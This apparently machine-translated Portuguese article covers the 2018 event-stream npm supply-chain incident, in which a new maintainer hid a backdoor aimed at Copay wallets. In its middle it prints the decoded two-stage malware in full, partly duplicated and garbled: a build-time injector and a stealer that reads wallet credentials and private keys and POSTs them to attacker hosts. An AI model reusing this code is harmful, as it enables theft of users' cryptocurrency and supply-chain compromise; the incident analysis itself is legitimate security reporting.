
Mais de
1,9 milhão de cópias da biblioteca
EventStream são baixadas semanalmente do repositório NPM. É usado em muitos projetos grandes para um trabalho simples e conveniente com
fluxos no Node.JS. Entre outras, essa biblioteca também processa fluxos na popular carteira criptográfica da Copay (no entanto, mais sobre isso posteriormente).
Em 21 de novembro de 2018, aconteceu uma coisa estranha. O usuário do GitHub @FallingSnow
relatou que uma das dependências do fluxo de eventos ocultou código malicioso, que na verdade é um backdoor de funcionalidade desconhecida.
Os usuários começaram a descobrir de onde veio esse código malicioso. Esta é uma história muito interessante e instrutiva. Infelizmente, pode ter consequências a longo prazo para muitos projetos de código aberto.
Então, a investigação começou. Graças ao histórico de confirmações no GitHub, ficou imediatamente claro que o usuário mal-intencionado foi criado por outro usuário
@ right9ctrl , que
recebeu os direitos do mantenedor para o fluxo de eventos. Ele tem um número de confirmações normais em sua conta, e o autor do projeto Dominic Carr (
@dominictarr ) transferiu-lhe os direitos do mantenedor.
Por que o autor transferiu os direitos do mantenedor para um completo estranho? O próprio Dominic diz que é um fardo se engajar no projeto. Veja a
justificativa detalhada para este incidente: o autor escreve que ele geralmente criou o projeto por uma questão de prazer e não achou que seu apoio levaria tanto tempo, e a própria biblioteca estava envolvida em tantos programas sérios. Ele não se isenta da culpa pelo incidente, mas diz que o projeto de código aberto não é sua "propriedade", é um domínio público, então todos os outros também são responsáveis pelo que aconteceu. Afinal, por que nenhuma das pessoas normais assumiu os direitos do mantenedor e auditou os commits?
Vamos voltar ao commit @ right9ctrl mencionado. O truque é que ele não injetou o código backdoor diretamente na biblioteca de
event-stream
, mas apenas injetou a dependência em outro pacote de
fluxo de mapa plano . Já nele, sob o disfarce de um conjunto de dados de teste (test / data.js), em uma das variáveis um código malicioso do seguinte conteúdo foi transmitido:
Depois de “decodificar” a variável
n
imagem fica mais clara .
Inicialização inicial module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} };
Segunda etapa ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
\\ \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To \\ n2wIDAQAB \ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
Após a
desobstrução , a funcionalidade do backdoor
ficou clara . Acontece que ele só funciona com sucesso se houver uma
carteira de criptografia Copay no sistema (pacote
copay-dash
). Nesse caso, copia as carteiras particulares dos usuários e as envia para os endereços IP na Malásia.
Os desenvolvedores da Copay conduziram uma investigação e
descobriram que o backdoor caiu dependendo das versões da carteira de 5.0.2 para 5.1.0, ou seja, para a versão mais recente. Em 27 de novembro de 2018, eles lançaram prontamente uma versão atualizada 5.2.0.
O atacante @ right9ctrl não apenas adicionou um backdoor, mas também tentou encobrir seus rastros. Três dias depois, ele removeu o código malicioso do repositório
flatmap-stream
, atualizou o número da versão e excluiu o antigo do NPM. Assim, na versão mais recente do pacote, não há backdoor, mas ele já vendeu dezenas de milhares de carros, o que era o objetivo. Esse método acabou sendo muito bem-sucedido, a julgar pelo fato de que a porta dos fundos não foi descoberta imediatamente.
Ainda não se sabe exatamente quanto dinheiro o atacante conseguiu ganhar, mas esse ataque demonstra a principal eficácia do método de introdução de backdoors em projetos de código aberto. Obviamente, esse não é o último caso. Isso também foi
escrito por Dominic Carr, autor da biblioteca EventStream afetada: “Provavelmente haverá muitos outros módulos em suas árvores de dependência que agora se tornam um fardo para os autores” - e esses módulos “onerosos” podem ser transferidos para outros mantenedores, como aconteceu neste caso, ou mesmo vendido por dinheiro. Como as dependências são incorporadas em centenas e milhares de programas, alguns dos menores módulos podem se tornar uma fonte de grandes problemas.
Por que o autor do programa transfere o controle sobre ele para um completo estranho?
"Se isso não é mais divertido, você literalmente não recebe nada do suporte ao pacote popular", diz Dominic Carr. - Portanto, agora estamos em um vale estranho, onde você tem um monte de vícios que são apoiados por aqueles que perderam o interesse ou até começaram a desaparecer, e que eles mesmos não os usam mais . Você pode compartilhar o código facilmente, mas ninguém deseja compartilhar a responsabilidade de manter esse código. “Assim como um módulo se parece com parte de uma propriedade digital, um direito que pode ser transferido, mas você não obtém nenhum benefício de possuí-lo, por exemplo, a oportunidade de vendê-lo ou arrendá-lo, no entanto, você ainda mantém a responsabilidade.”
Qual é a saída desta situação para os usuários de software livre? Pague ao autor ou participe ativamente do projeto, acredita Carr.

